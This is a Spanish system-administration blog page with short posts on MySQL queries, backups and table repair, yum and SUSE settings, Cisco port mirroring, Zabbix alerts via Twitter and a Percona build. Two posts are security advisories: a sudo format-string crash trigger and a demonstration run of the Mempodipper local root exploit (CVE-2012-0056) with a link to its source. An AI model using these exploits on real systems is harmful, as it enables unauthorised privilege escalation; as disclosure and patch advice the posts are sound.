Fallo de seguridad en sudo

Se ha publicado recientemente un importante fallo en el paquete sudo. La vulnerabilidad está en el formado de la cadena, que permite realizar un bloqueo del programa. A fecha de ahora no existe ningún exploit que permita realizar una escalada de privilegios.
El fallo afecta a las versiones 1.8.0 y posteriores, por lo que los equipos con versiones estables no se ven afectados. Debian Squeeze, 1.7.4, Ubuntu 11.10, 1.7.x. Sólo te verás afectado si estás trabajando con debian testing, o superior, o instalaste el paquete manualmente.
Las soluciones momentáneas son, o bien recompilar el paquete con el flag "-D_FORTIFY_SOURCE=2", o actualizar el paquete del repositorio oficial, que ya está corregido en la versión 1.8.3p2.
Un ejemplo de la sencillez de explotación es el siguiente,
shell> ln -s /usr/bin/sudo ./%s
shell> ./%s -D9
Segmentation fault
Más info: http://www.sudo.ws/sudo/alerts/sudo_debug.html
Leer más

Calcular tamaño de base de datos

En algunas ocasiones es necesario saber el tamaño que ocupa una base de datos MySQL en disco. Dicho tamaño suele no coincidir con lo que realmente ocupa en disco, ya que depende mucho de la configuración que se emplee.
Por ejemplo, el uso de la variable innodb_file_per_table hace que en disco ocupe más de lo que realmente debería por datos. Lo mismo sucede si alguna de las tablas está particionada. El uso de disco es mayor que la información que contiene.
Por lo tanto, para saber el tamaño que está ocupando en disco, se puede calcular sumando los valores que están registrados en la tabla TABLES de la base de datos information_schema.
mysql> SELECT table_schema "Base de datos",
       ROUND(SUM(data_length+index_length)/1024/1024,3) "Tamaño (MB)"
       FROM information_schema.TABLES
       GROUP BY table_schema;
+--------------------+-------------+
| Base de datos      | Tamaño (MB) |
+--------------------+-------------+
| CV                 |      75.046 |
| gastos_es          |       2.109 |
| information_schema |       0.008 |
| mysql              |       0.456 |
| crm                |      15.328 |
| drupal             |     272.688 |
| zabbix             |    9973.641 |
| extranet           |     838.567 |
+--------------------+-------------+
8 rows in set (1.04 sec)
Durante el trabajo diario de MySQL (select, insert, delete, etc.) se van produciendo 'huecos' vacíos en las tablas, lo que provoca una pérdida de espacio. En caso de que el tamaño libre sea considerable, entonces sí es buena idea optimizar la base de datos, para liberar ese espacio libre. MySQL tiene el comando optimize pensando justamente en esta tarea.
Una forma sencilla de saber el espacio libre es la que sigue,
mysql> SELECT table_schema "Base de datos", 
       sum( data_length + index_length ) / 1024 / 1024 "Tamaño (MB)", 
       sum( data_free )/ 1024 / 1024 "Espacio libre (MB)" 
       FROM information_schema.TABLES 
       GROUP BY table_schema;
+--------------------+-------------+--------------------+
| Base de datos      | Tamaño (MB) | Espacio libre (MB) |
+--------------------+-------------+--------------------+
| CV                 |      75.046 |        12.00000000 |
| gastos_es          |       2.109 |         0.00000000 |
| information_schema |       0.008 |         0.00000000 |
| mysql              |       0.456 |         0.00000000 |
| crm                |      15.328 |         9.00000000 |
| drupal             |     272.688 |        81.00000000 |
| zabbix             |    9973.641 |        22.00000000 |
| extranet           |     838.567 |        90.00000000 |
+--------------------+-------------+--------------------+
8 rows in set (9.20 sec)
Leer más

MySQL: obtener registro aleatorio

Hay algunas veces que tienes miles de registros en una tabla y necesitas obtener uno o varios de ellos, pero aleatoriamente. La forma tradicional que se suele usar para hacer esto es obtener todos los datos de la tabla y luego desde el programa que los haya solicitado realizar el random. Esta opción si la tabla en muy grande, no es buena, ya que para devolver una registro sólo, por qué obtenerlos todos. Para poder evitar esto y optimizar el rendimiento de la base de datos, mysql tiene la opción de ordenar por random y limitar la salida al número de registros que nos interese. No suele ser una opción muy conocida, pero para determinados casos, puede resultar muy útil y mejorar el rendimiento de la aplicación.
mysql> select count(*) from published;
+-----------+
|  count(*) |
+-----------+
|   9311254 |
+-----------+
1 row in set (0.00 sec)

mysql> select * from published order by rand() limit 3;
+---------+----------------------+
|      id | texto_publicación    |
+---------+----------------------+
|      51 | Hay 6 cosas que ...  |
|   12590 | En un lugar de ...   |
| 7301559 | Cuando yo estaba ... |
+---------+----------------------+
3 row in set (2.17 sec)
Leer más

Suse SLESE, enable IP forwarding


En ocasiones es necesario activa la posibilidad de reenvío de datos IP a través del interfaz de salida principal. Desde consola, realizar esto es muy simple, basta únicamente con modificar el valor contenido en el fichero /proc/sys/net/ipv4/ip_forward, de 0 a 1.


shell> echo 1 > /proc/sys/net/ipv4/ip_forward

Sin embargo, conseguir que este cambio sea permanente en Suse SLES, sin hace un pequeño script que se ejecute al arranque puede no ser tan trivial si no se sabe. Para conseguirlo, desde Yast, vamos a Networks services/Routing y ahí, activamos el "Enable IP Forwarding" y listo.
Leer más

yum priorities

El gestor de paquetes de Red Hat permite establecer prioridades entre los diferentes repositorios que tenga configurados para evitar la colisión de paquetes en caso de producirse. Esto por ejemplo es muy útil si usas repositorios no oificiales, por ejemplo EPEL. En éste suele haber todos los paquetes que hay en el repositorio oficial y a mayores otros muchos paquetes que suelen ser necesarios según para que cosas.
Para evitar el problema de los conflictos entre paquetes, la solución, priorizar repositorios.
Para poder hacer esto, simplemente hay que instalar el paquete yum-priorities y activar  el uso de prioridades por yum. Para ello,
shell> yum install yum-priorities
shell> vi /etc/yum/pluginconf.d/priorities.conf
  [main]
  enabled=1
Con las prioridades activadas, ahora sólo falta configurarlas para los diferentes repositorios. Estas pueden ir de 1 a 99, siendo la prioridad más alta cuanto más bajo sea el número.
Un ejemplo de configuración usando prioridades a continuación.
shell> vi /etc/etc/yum.repos.d/rhdp.repo
  [epel-testing]
  name=Extra Packages - Testing
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgcheck=1
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  priority=50

[epel-testing-debuginfo]
  name=Extra Packages - Testing - Debug
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  gpgcheck=1
  priority=50

  [epel-testing-source]
  name=Extra Packages - Testing - Source
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  gpgcheck=1
  priority=50

  [epel]
  name=Extra Packages for Enterprise Linux 6
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgcheck=1
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  priority=15

  [epel-debuginfo]
  name=Extra Packages for Enterprise Linux 6 - Debug
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  gpgcheck=1
  priority=15

  [epel-source]
  name=Extra Packages for Enterprise Linux 6 - Source
  mirrorlist=https://mirrors.fedoraproject.org/[...]
  gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
  gpgcheck=1
  priority=15

  [Red Hat Official]
  name=axinrhrepo
  mirrorlist=http://mirror.redhat.com/[...]
  priority=1
Leer más

port mirroring en Cisco

El port mirroring es una fucnión que suelen tener casi todos los router's grandes y que permite copiar todo el tráfico de un puerto a otro puerto. Lo que hace es una copia exacta de todos los paquetes para que, por ejemplo, la nueva interfaz tenga un IDS, como puede ser snort, que esté comprobando todo el tráfico de red. Esto permite analizar el tráfico de red sin que por ello afecte al tráfico o rendimiento de la red, ya que se maneja una copia.
Cisco no podía ser menos y nos ofrece la posibilidad de realizar port mirroring sobre una interfaz y mandar todo el tráfico a otra de las interfaces. Se recomienda que las interfaces tengan la misma velocidad, o que el interfaz origen sea más lento que el interfaz destino. Para configurar el port mirroring por lo tanto:
cisco> interface GigabitEthernet0/1
 switchport
 switchport access vlan 3
 switchport mode access
 spanning-tree portfast

cisco> interface GigabitEthernet0/2
 switchport
 switchport access vlan 3
 switchport mode access
 spanning-tree portfast

cisco> monitor session 1 source interface GigabitEthernet 0/1

cisco> monitor session 1 destination interface GigabitEthernet 0/2

Ahora comprobamos que el mirroring se hizo correctamente así,
cisco> show monitor detail

Session 1
---------
Type              : Local Session
Source Ports      :
    RX Only       : None
    TX Only       : None
    Both          : Gi0/1
    Source VLANs      :
    RX Only       : None
    TX Only       : None
    Both          : None
Source RSPAN VLAN : None
Destination Ports : Gi0/2
    Encapsulation : Native
          Ingress : Disabled
Filter VLANs      : None
Dest RSPAN VLAN   : None
Leer más

yum, descargar paquetes y no instalar

yum, gestor de paquetes de Red Hat del que ya hemos hablado en otras ocasiones, tiene, al igual que apt, la posibilidad de descargar los paquetes que se desean instalar, pero sin concluir la instalación. Esto puede resultar útil si interesa llevar dichos paquetes a otros equipos o tener los RPM's disponibles para otro momento en el que se instalen.Para poder usarlo simplemente hay que instalar el paquete yum-downloadonly.
shell> yum install yum-downloadonly
Una vez instalado el paquete ya se puede usar como parámetro de yum, al que se le puede especificar el directorio de descarga. A continuación un ejemplo de cómo usarlo.
shell> yum install --downloadonly --downloaddir=/var/tmp mysql.x86_64
Si por el contrario usas un sistema de base Debian, para poder hacer esto mismo, simplemente,
shell> apt-get install --download-only mysql-server
Leer más

MySQL: Backup de datos

En una entrada anterior hablamos de cómo realizar un backup del schema de una base de datos, pero puede darse el caso de que únicamente nos interesa sacar los datos de la base de datos, sin el schema ni otra información. Esto se puede hacer tal como sigue,
shell> mysqldump -u USER -p \
       --skip-triggers \
       --no-create-info DATABASE > DATABASE.sql
Con este comando extraemos toda la información de la base de datos a un fichero SQL, que luego podemos comprimir para que ocupe menos. Puesto que es texto plano, el ratio de compresión con bzip2 (por ejemplo), es muy elevado.
shell> bzip2 DATABASE.sql
Leer más

Linux Local Exploit

Recientemente ha salido un exploit que afecta a las versiones del kernel >= 2.6.39 y que permite escribir directamente en el interfaz mem de los procesos /proc/PID/mem. El problema está en que el los kerneles afectados se consideraba suficiente la protección contra acceso no autorizado, por lo que se retiró la directiva #ifdef, que impedía dicha escritura. El resultado, cualquier persona que tenga los permisos adecuados, puede escribir en dicha memoria. Por supuesto, este bug sólo puede ser explotado a nivel local, pero aún así es peligroso.
Un ejemplo del exploit en funcionamiento.
shell> uname -r
3.0.0-12-generic
shell> ls
mempodipper.c
shell> whoami 
javier
shell> gcc mempodipper.c -o mempodipper
shell> ./mempodipper 
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4384/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049510.
[+] Executing su with shellcode.
# whoami
root
# p0wned!

Para más información: http://blog.zx2c4.com/749
Un exploit: http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c

Por el momento no hay un parche disponible que solucione el fallo. La solución, trabajar con kerneles menores de la versión 2.6.39, que no están afectados.
Leer más

MySQL: table doesn't support repair


Aunque no suele ser algo muy habitual, en algunas ocasiones MySQL también falla y las tablas se corrompen. Un fallo en el servidor o la caída del mismo cuando la tabla estaba en medio de una transacción pueden provocar un fallo en la misma. Cuando MySQL se vuelve a arrancar, detecta un fallo en dicha tabla y nos advierte de ello. Para solucionarlo haya que usar la sentencia repair table. Pero hay veces que el repair también falla y en esos momentos, recuperar los datos almacenados es algo de vital importancia, pero si el motor de base de datos no nos deja acceder, tenemos un problema.

Por suerte, existen otras formas de reparar una tabla  de tipo innodb cuando la sentencia repair falla.
The storage engine for the table doesn't support repair
Procederemos con los siguientes pasos:
  1. Copia de seguridad de los datos
    shell> cp -r /var/lib/mysql/ /var/lib/mysql_backup/
    
  2. Paramos servidor MySQL
    shell> /etc/init.d/mysqld stop
    
  3. Forzamos reparación
    shell> vi /etc/my.cnf
    +  innodb_force_recovery = 4
    
  4. Arrancamos MySQL
    shell> /etc/init.d/mysqld start
    
  5. Comprobamos que tenemos acceso a los datos
    shell> mysql -u root -p
    Enter password:
    mysql> select * from DB.table_repaired
    
  6. Dejamos el servidor MySQL con las opciones por defecto
    shell> /etc/init.d/mysqld stop
    shell> vi /etc/my.cnf
    -  innodb_force_recovery = 4
    shell> /etc/init.d/mysqld start
    
Leer más

Zabbix: Alertas a Twitter

Zabbix, del que ya hablamos en este blog muchas veces es una excelente herramienta de monitorización que permite muchos tipos de alertas, perfectamente configurables. Dichas alertas se puede enviar al correo, jabber y por sms. Sin embargo, enviarlas al teléfono móvil es más complicado y tiene un coste adicional (coste del sms). Es por ello que aprovechando la tecnología actual escribí un pequeño script que permite el envío de dichas alertas como un tweet y por lo tnato, desde un smartphone móvil lo podrías consultar.
A continuación, vamos a explicar cómo configurar de forma sencilla las alertas en Zabbix para enviarlas a Twitter.
  1. Instalar el módulo python de envío a Twitter
    Para enviar las alertas a Twitter usaremos la librería tweepy, escrita en python. Para descargarla, desde github se puede hacer perfectamente.
    shell> apt-get install python-setuptools
    shell> git clone git://github.com/tweepy/tweepy.git
    shell> cd tweepy
    shell> python setup.py install
    
  2. Crear y configurar la cuenta de Twitter
    Ahora toca crear la nueva cuenta de Twitter. Vamos a su web oficial y se crea una nueva cuenta.
    Yo aquí personalmente prefiero dejar la cuenta cerrada, ya que serán tweet's con información que sólo a determinada gente le puede interesar. Se crea la cuenta y sólo se permite que la gente autorizada lo sigua.
    Desde hace algún tiempo, la API de Twitter sólo permite comunicarse con ella usando claves de aplicación, lo que se conoce como autenticación oauth, por lo tanto hay que dar de alta ahí una nueva aplicación. Se puede hacer desde aquí (dev.twitter.com/apps) y sólo hay que dar de alta una nueva aplicación que tenga permisos para escribir en el TimeLine. Lo que nos interesa de estos datos son únicamente las claves, pública y secreta y las claves de aplicación, que se usarán en el siguiente punto.
  3. Script de alerta
    Llegados a este punto, está ya instalada la librería de envío de datos a Twitter y también tenemos las claves para poder enviar información a la cuenta desde una aplicación, por lo tanto, sólo queda realizar un pequeño script al que se le envíe información y éste la convierta en un tweet. El código necesario para hacerlo será el que sigue, que se guardará en /etc/zabbix/alert.d/twitter.py
    #!/usr/bin/python
    
    import sys
    import tweepy
    
    CONSUMER_KEY = 'RZ5Xxxxxxxxxxxxxxxxxxx'
    CONSUMER_SECRET = '35YRxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    ACCESS_KEY = '4610xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    ACCESS_SECRET = 'SoBexxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    
    auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)
    auth.set_access_token(ACCESS_KEY, ACCESS_SECRET)
    api = tweepy.API(auth)
    api.update_status(sys.argv[2])
    
    La explicación del código es sencilla. Se importan las librerías y a continuación se ponen las claves que obtuvimos del punto anterior, que serán las que permitan autenticar a nuestra aplicación en Twitter y así enviar las alertas. A continuación se realizar la atutenticación y si todo está correcto, se actualiza el estado del tweet, es decir, se hace una nueva publicación con el segundo parámetro que se le pasa al script.
    Zabbix, al generar la alerta envía dos campos, el primero una dirección de correo o jabber y el segundo el contenido del mensaje (esto, obviamente es modificable). Puesto que no nos interesa saber el usuario que generó la alerta, sino únicamente la alerta, se coge el segundo parámetro, sys.argv[2].
    Nota: Hay que dar permisos de ejecución al script, para ello, chmod +x twitter.py
  4. Configurar zabbix
  5. Ahora que ya tenemos todo listo, únicamente falta crear un nuevo medio para que responda ante una alerta y configurar el tipo de alertas.
    1. Crear un nuevo medio
      Vamos a: "Administration/Media types/Create Media Type"
    2. Configurar alertas para un usuario
      Vamos a: "Administration/Users/Users".
      Elegimos un usuario y le añadimos el nuevo medio que acabamos de crear.
    3. Creamos una nueva acción
      En "Configuration/Actions" -> Create Action.
      Los datos a configurar en Action:
      • Name: Twitter
      • Event source: triggers
      • Default subject: "{TRIGGER.STATUS}: {TRIGGER.NAME}"
      Los datos a configurar en Action conditions:
      • Trigger severity >= "Average", para que sólo se envíen alertas que se consideren importantes. Si se quieren recibir todas, no poner ninguna condición.
      Los datos a configurar en Action operations:
      • Operation type: Send message
      • Send message to: Single User
      • Send only to: Tweet
      • Default message: Check.
    4. Comprobaciones
      A partir de este momento, cualquier alerta que salte y coincida con la condición de la alerta ahora configurada se enviará al Twitter.
      Si vamos a "Administration/Notifications", podremos ver la cantidad de mensajes enviados.
      Si vamos a Twitter, también se podrá ver cómo efectivamente llegan los mensajes.
Leer más

HowTo compile Percona Server on RedHat

Esta semana tocó realizar una compilación de Percona Server para RedHat. Hay ocasiones en las que es necesarios realizar una compilación local, ya bien sea por rendimiento, ya bien por que el cliente quiera que todos los paquetes sean locales y no vengan precompilados de otro lado.
Por suerte, Percona ofrece para descarga directa la última versión disponible en formato src.rpm, por lo que tras instalar todas las dependencias se podría realizar sin problema un rpmbuild --rebuild. La sorpresa fue que la compilación no es tan sencilla, ya que había varios fallos.
El primero de los fallos ocurrió al compilar el HandlerSocket-Plugin-for-MySQL. RedHat trae por defecto la versión 5.1 de MySQL y cuando el HandlerSocket requería las librerías, estas no servían y por ello fallaba. Para solucionarlo, bastó con desinstalar todas las librerías de MySQL del sistema y que para la compilación cogiera las que él mismo estaba compilando. Con esto, HandlerSocket ya compiló perfectamente.
El error al que se hace referencia es el que sigue.
libtool: compile:  g++ -DHAVE_CONFIG_H -I. -I.. -I/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0/sql -I/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0/include -I/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0/regex -I/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0 -I/usr/include/mysql -g -pipe -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -fPIC -g -static-libgcc -fno-omit-frame-pointer -fno-strict-aliasing -DMY_PTHREAD_FASTMUTEX=1 -DDBUG_OFF -I../libhsclient -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic -felide-constructors -fno-exceptions -fno-rtti -I/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/release/include -Wall -g -fno-rtti -fno-exceptions -fPIC -DPIC -MT handlersocket_la-database.lo -MD -MP -MF .deps/handlersocket_la-database.Tpo -c database.cpp  -fPIC -DPIC -o .libs/handlersocket_la-database.o
In file included from database.cpp:16:
mysql_incl.hpp:43:24: error: mysql_priv.h: No such file or directory
database.cpp:99: error: ISO C++ forbids declaration of 'TABLE' with no type
database.cpp:99: error: expected ';' before '*' token
database.cpp: In constructor 'dena::tablevec_entry::tablevec_entry()':
database.cpp:102: error: class 'dena::tablevec_entry' does not have any field named 'table'
database.cpp: At global scope:
database.cpp:106: error: expected ')' before '*' token
database.cpp:124: error: 'Item_string' does not name a type
database.cpp:125: error: 'Item_int' does not name a type
database.cpp:126: error: 'Item_func_get_lock' does not name a type
database.cpp:127: error: 'Item_func_release_lock' does not name a type
database.cpp: In member function 'long long int dena::expr_user_lock::get_lock()':
database.cpp:118: error: 'lck_func_get_lock' was not declared in this scope
database.cpp: In member function 'long long int dena::expr_user_lock::release_lock()':
database.cpp:121: error: 'lck_func_release_lock' was not declared in this scope
database.cpp: At global scope:
database.cpp:150: error: 'TABLE' has not been declared
database.cpp:157: error: 'ha_rkey_function' has not been declared
database.cpp:158: error: 'TABLE' has not been declared
database.cpp:160: error: 'TABLE' has not been declared
database.cpp:161: error: 'uchar' has not been declared
database.cpp:162: error: 'TABLE' has not been declared
database.cpp:163: error: ISO C++ forbids declaration of 'uchar' with no type
database.cpp:163: error: expected ',' or '...' before '*' token
database.cpp:164: error: 'TABLE' has not been declared
database.cpp:165: error: 'TABLE' has not been declared
database.cpp:166: error: 'TABLE' has not been declared
database.cpp:176: error: ISO C++ forbids declaration of 'THD' with no type
database.cpp:176: error: expected ';' before '*' token
database.cpp:177: error: ISO C++ forbids declaration of 'MYSQL_LOCK' with no type
database.cpp:177: error: expected ';' before '*' token
database.cpp: In constructor 'dena::dbcontext::dbcontext(volatile dena::database*, bool)':
database.cpp:222: error: class 'dena::dbcontext' does not have any field named 'thd'
database.cpp:222: error: class 'dena::dbcontext' does not have any field named 'lock'
database.cpp: At global scope:
database.cpp:237: error: 'THD' was not declared in this scope
database.cpp:237: error: 'thd' was not declared in this scope
database.cpp:237: error: expected primary-expression before 'volatile'
database.cpp:237: error: initializer expression list treated as compound expression
database.cpp:238: error: expected ',' or ';' before '{' token
database.cpp:1182: error: expected '}' at end of input
database.cpp:1182: error: expected '}' at end of input
database.cpp:237: warning: 'dena::::wait_server_to_start' defined but not used
make[2]: *** [handlersocket_la-database.lo] Error 1
make[2]: Leaving directory `/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0/storage/HandlerSocket-Plugin-for-MySQL/handlersocket'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/home/javier/rpmbuild/BUILD/Percona-Server-5.5.16-rel22.0/Percona-Server-5.5.16-rel22.0/storage/HandlerSocket-Plugin-for-MySQL'
make: *** [all] Error 2
error: Bad exit status from /var/tmp/rpm-tmp.fEHBlk (%build)

Una vez solucionado este problema, parece que ya todo estaba solucionado, por lo tanto intentamos nuevamente compilar Percona-Server.
shell> rpmbuild -ba \
       --clean \
       --with yassl --target x86_64 \
       --define "gotrevision 1" \
       percona-server-5.5.19.spec

Con esto, obtenemos un nuevo error, por ser un sistema de 64 Bit's.
Processing files: Percona-Server-devel-55-5.5.17-rel22.1.1.rhel6.x86_64
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/include/handlersocket
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlclient.a
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlclient_r.a
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlservices.a
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libhsclient.a
error: File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/libhsclient.la

RPM build errors:
    File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/include/handlersocket
    File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlclient.a
    File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlclient_r.a
    File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libmysqlservices.a
    File not found: ~/rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/mysql/libhsclient.a
    File not found: ~rpmbuild/BUILDROOT/Percona-Server-55-5.5.17-rel22.1.1.rhel6.x86_64/usr/lib64/libhsclient.la
Para solucionarlo, añadimos más parámetros al rpmbuild, tal como sigue y la compilación ya es satisfactoria.
shell> rpmbuild -ba \
       --clean \
       --with yassl \
       --target x86_64 \
       --define "redhat_version 15" \
       --define "gotrevision 1" \
       --define "_libdir /usr/lib" \
       percona-server-5.5.19.spec
Leer más

Formulario de contacto

Nombre

Correo electrónico *

Mensaje *

Últimos comentarios